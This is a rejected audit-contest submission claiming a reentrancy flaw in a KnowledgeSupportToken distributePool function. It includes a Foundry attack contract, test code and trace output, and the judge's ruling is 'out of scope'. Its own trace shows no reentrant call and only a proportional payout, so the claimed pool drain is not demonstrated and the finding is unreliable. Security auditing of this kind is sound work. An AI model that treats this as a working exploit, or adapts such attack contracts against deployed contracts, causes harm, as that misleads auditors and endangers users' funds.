Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: high
Invalid

Reentrancy Vulnerability in `batch.transfer()` in ` knowledgeSupportToken.sol`

Summary:

The external call in transfer() is reachable from the distributePool() function in knowledgeSupportToken.sol. A malicious attacker can use this external call to exploit all the pool tokens during distribution. the external call was made within a loop and also did not check for return value.

Vulnerability Details:

function distributePool() public {
uint256 pool = getPool();
require(pool != 0);
for (uint256 i = 0; i < holders.length; ++i) {
address holder = holders[i];
uint256 holderBalance = ERC20.balanceOf(holder);
uint256 payout = pool * holderBalance / TOTAL_SUPPLY;
// @todo may want to use a pull-payment method here
@> batch.transfer(holder, payout); //Reentrancy attack here!
}
<summary>Code</summary>
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.20;
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {KnowledgeSupportToken} from "../../contracts/assets/KnowledgeSupportToken.sol";
import {BatchToken} from "../../contracts/core/BatchToken.sol";
contract MaliciousReentrant {
KnowledgeSupportToken kst;
BatchToken batch;
uint256 public attackCount;
bool internal attacking;
constructor(address _kst, address _batch) {
kst = KnowledgeSupportToken(_kst);
batch = BatchToken(_batch);
}
function receivePool() external {
// Reenter distributePool if called during distribution
if (attacking && attackCount < 3) {
attackCount++;
kst.distributePool();
}
}
function attack() external {
attacking = true;
attackCount = 0;
kst.distributePool(); // Start attack during distribution
attacking = false;
}
}
contract MaliciousExpliotTest is Test {
KnowledgeSupportToken kst;
BatchToken batch;
MaliciousReentrant malReentrant;
address owner = address(0x123);
function setUp() public {
batch = new BatchToken(address(this), 10000 ether);
kst = new KnowledgeSupportToken(address(batch), 1, address(this));
malReentrant = new MaliciousReentrant(address(kst), address(batch));
kst.transfer(address(malReentrant), 100 ether);
batch.transfer(address(kst), 5000 ether);
}
function testKnowledgeSupportTokenReentrancy() public {
console.log("Initial Balance: ");
uint256 initialAttackerBatchBalance = batch.balanceOf(address(malReentrant));
console.log("Attackers Batch balance: ", initialAttackerBatchBalance);
vm.prank(address(malReentrant));
malReentrant.attack();
uint256 finalAttackerBatchBalance = batch.balanceOf(address(malReentrant));
console.log("final attacker batch balance", finalAttackerBatchBalance);
assertTrue(finalAttackerBatchBalance > initialAttackerBatchBalance, "Attacker's balance should have increased");
}
}
```Solidity
The output is shown below

[⠔] Solc 0.8.26 finished in 2.18s
Compiler run successful!

Ran 1 test for test/InvariantTest/ReentrancyTest.sol:MaliciousExpliotTest
[PASS] testKnowledgeSupportTokenReentrancy() (gas: 78312)
Logs:
Initial Balance:
Attackers Batch balance: 0
final attacker batch balance 5000000000000000000

Traces:
[103012] MaliciousExpliotTest::testKnowledgeSupportTokenReentrancy()
├─ [0] console::log("Initial Balance: ") [staticcall]
│ └─ ← [Stop]
├─ [2562] BatchToken::balanceOf(MaliciousReentrant: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall]
│ └─ ← [Return] 0
├─ [0] console::log("Attackers Batch balance: ", 0) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::prank(MaliciousReentrant: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
│ └─ ← [Return]
├─ [80598] MaliciousReentrant::attack()
│ ├─ [50909] KnowledgeSupportToken::distributePool()
│ │ ├─ [2562] BatchToken::balanceOf(KnowledgeSupportToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]
│ │ │ └─ ← [Return] 5000000000000000000000 [5e21]
│ │ ├─ [10888] BatchToken::transfer(MaliciousExpliotTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 4995000000000000000000 [4.995e21])
│ │ │ ├─ emit Transfer(from: KnowledgeSupportToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], to: MaliciousExpliotTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], value: 4995000000000000000000 [4.995e21])
│ │ │ └─ ← [Return] true
│ │ ├─ [23188] BatchToken::transfer(MaliciousReentrant: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 5000000000000000000 [5e18])
│ │ │ ├─ emit Transfer(from: KnowledgeSupportToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], to: MaliciousReentrant: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], value: 5000000000000000000 [5e18])
│ │ │ └─ ← [Return] true
│ │ ├─ [562] BatchToken::balanceOf(KnowledgeSupportToken: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]
│ │ │ └─ ← [Return] 0
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [562] BatchToken::balanceOf(MaliciousReentrant: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall]
│ └─ ← [Return] 5000000000000000000 [5e18]
├─ [0] console::log("final attacker batch balance", 5000000000000000000 [5e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::assertTrue(true, "Attacker's balance should have increased") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.06ms (573.80µs CPU time)

Ran 1 test suite in 16.69ms (2.06ms CPU time): 1 test passed, 0 failed, 0 skipped (1 total test)

[~/Documents/Competitive_Audit/2024-10-swan-dria]
viquetour   main -+ 

## Impact:
This Reentrancy could potentially allow a malicious user to drain the pool.
2. Modifying the state after making external calls is of high reentrancy risk to your contract.
3. running the ERC20 transfer function in the loop is not the best practice because if one loop fails the entire transaction reverts.
## Tools Used:
Manual Review.
## Recommendations:
1. Always Use the checks Effect interaction(CEI)Pattern.
2. Create different functions to handle transfers and not add them to a loop.
3. The use of openzeppelin reentrancy guard is also a safer option for eliminating reentrancies.
Updates

Lead Judging Commences

inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.